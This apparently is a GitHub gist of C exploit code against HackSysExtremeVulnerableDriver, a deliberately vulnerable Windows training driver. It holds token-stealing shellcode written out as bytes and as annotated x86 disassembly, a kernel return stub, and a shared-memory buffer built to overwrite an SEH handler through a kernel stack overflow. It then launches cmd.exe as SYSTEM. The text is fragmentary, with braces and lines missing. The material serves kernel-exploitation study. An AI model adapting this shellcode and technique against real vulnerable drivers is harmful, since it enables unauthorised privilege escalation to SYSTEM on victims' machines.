Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
#include <stdio.h>
#include <windows.h>
#include <conio.h>
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define SHARED_MEMORY_NAME "HackSysExtremeVulnerableDriverSharedMemory"
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
// token-stealing shellcode taken from hasherezade's PoC
// stub taken from this write up (found the same stack offsets manually earlier), rewrote it to AT&T, generated opcodes, tested
unsigned char kShellcode[] = {
/* token-stealing code:
0: 60 pusha
1: 64 a1 24 01 00 00 mov %fs:0x124,%eax
7: 8b 40 50 mov 0x50(%eax),%eax
a: 89 c1 mov %eax,%ecx
c: ba 04 00 00 00 mov $0x4,%edx
11: 8b 80 b8 00 00 00 mov 0xb8(%eax),%eax
17: 2d b8 00 00 00 sub $0xb8,%eax
1c: 39 90 b4 00 00 00 cmp %edx,0xb4(%eax)
22: 75 ed jne 0x11
24: 8b 90 f8 00 00 00 mov 0xf8(%eax),%edx
2a: 8b b9 f8 00 00 00 mov 0xf8(%ecx),%edi
30: 83 e2 f8 and $0xfffffff8,%edx
33: 83 e7 07 and $0x7,%edi
36: 01 fa add %edi,%edx
38: 89 91 f8 00 00 00 mov %edx,0xf8(%ecx)
3e: 61 popa
3f: 31 c0 xor %eax,%eax
0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1,
0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D,
0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED,
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00,
0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x07, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00,
0x00, 0x00, 0x61, 0x31, 0xC0,
/* now, kernel clean return stub:
mov (esp+0x78c), %edi
mov (esp+0x790), %esi
mov (esp+0x794), %ebx
add $0x9b8, %esp
pop %ebp
ret $0x8
0x8b, 0xbc, 0x24, 0x8c, 0x07, 0x00, 0x00, 0x8b, 0xb4, 0x24, 0x90, 0x07,
0x00, 0x00, 0x8b, 0x9c, 0x24, 0x94, 0x07, 0x00, 0x00, 0x90, 0x90, 0x90,
0x81, 0xc4, 0xb8, 0x09, 0x00, 0x00, 0x5d, 0xc2, 0x08, 0x00
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
HANDLE open_device(const char* device_name)
HANDLE device = CreateFileA(device_name,
return device;
void close_device(HANDLE device)
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
// Payatu's official HEVD exploit code instead
// For now let's go with Payatu's code ;]
ULONG BytesReturned;
SIZE_T PageSize = 0x1000; // 4096
HANDLE Sharedmemory = NULL;
PVOID MemoryAddress = NULL;
PVOID SuitableMemoryForBuffer = NULL;
LPVOID SharedMappedMemoryAddress = NULL;
SIZE_T SeHandlerOverwriteOffset = 0x214; // 532, this our payload length, we put it in the last 532 bytes of a 4096-byte (one page) memory block
// A*512 + DWORD XORED COOKIE + 3 DWORD JUNKS + DWORD SE HANDLER = 512+4+12+4 = 532
// deliberately, so reading past this range will cause an exception in kernel mode, which in turn should trigger the SEH handler we just overwrote
// Get the device handle
printf("\t\t[+] Creating Shared Memory\n");
// Create the shared memory
Sharedmemory = CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_EXECUTE_READWRITE,0,PageSize,SharedMemoryName); // Create a 4KB mapping
if (!Sharedmemory) {
printf("\t\t\t[-] Failed To Create Shared Memory: 0x%X\n", GetLastError());
else {
printf("\t\t\t[+] Shared Memory Handle: 0x%p\n", Sharedmemory);
printf("\t\t[+] Mapping Shared Memory To Current Process Space\n");
// Map the shared memory in the process space of this process
SharedMappedMemoryAddress = MapViewOfFile(Sharedmemory,FILE_MAP_ALL_ACCESS,0,0,PageSize); // Mapped view of file - a virtual address in user space, one page 4KB
if (!SharedMappedMemoryAddress) {
printf("\t\t\t[-] Failed To Map Shared Memory: 0x%X\n", GetLastError());
else {
printf("\t\t\t[+] Mapped Shared Memory: 0x%p\n", SharedMappedMemoryAddress);
SuitableMemoryForBuffer = (PVOID)((ULONG)SharedMappedMemoryAddress + (ULONG)(PageSize - SeHandlerOverwriteOffset)); // set this to 3564-th byte, the beginning of our payload
// e.g. 0x1000 (4096) + (4096 - 532 = 3564), which means that our payload (A*512+DWORD (COOKIE) + 3 DWORDS (JUNK) + DWORD (EIP SEHANDLER)) MUST START HERE
// so our payload should be 532-bytes long
// and reading past it will cause reading past the 4096 byte-long SharedMappedMemoryAddress - and cause an exception while in kernel mode
printf("\t\t[+] Suitable Memory For Buffer: 0x%p\n", SuitableMemoryForBuffer);
printf("\t\t[+] Preparing Buffer Memory Layout\n");
RtlFillMemory(SharedMappedMemoryAddress, PageSize, 0x41);
MemoryAddress = (PVOID)((ULONG)SuitableMemoryForBuffer + 0x210); // SE handler
*(PULONG)MemoryAddress = (ULONG)kShellcode;
printf("\t\t\t[+] SE Handler Value: 0x%p\n", *(PULONG)MemoryAddress);
printf("\t\t\t[+] SE Handler Address: 0x%p\n", MemoryAddress);
printf("\t\t[+] EoP Payload: 0x%p\n", kShellcode); // kShellcode
printf("Press any key to continue (set the breakpoint at this shellcode if you want, just remember to use .process first)...\n");
printf("\t[+] Triggering Kernel Stack Overflow GS\n");
printf("\t[+] Making the driver read from usermode %x to %x.\n",(ULONG)SuitableMemoryForBuffer,(ULONG)((ULONG)SuitableMemoryForBuffer+(ULONG)SeHandlerOverwriteOffset));
OutputDebugString("****************Kernel Mode****************\n");
// RAISE_EXCEPTION_IN_KERNEL_MODE is just a predefined constant (0x4) || NOW DEBUG AGAIN (WITHOUT 0x4 OFFSET) TO SEE IF WE OVERWRITE THE RIGHT POINTERS IN MEMORY (before we hit the canary-checking function, we can see this with a breakpoint right after memcpy call)
DeviceIoControl(device, ioctl_code, (LPVOID)SuitableMemoryForBuffer, (DWORD)SeHandlerOverwriteOffset+0x4,
NULL, 0, &BytesReturned, NULL);
// Debugger entered on first try; Bugcheck callbacks have not been invoked.
OutputDebugString("****************Kernel Mode****************\n");
int main()
HANDLE dev = open_device(kDevName);
return -1;
system("cmd.exe"); // we should be SYSTEM now, spawn cmd.exe
return 0;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment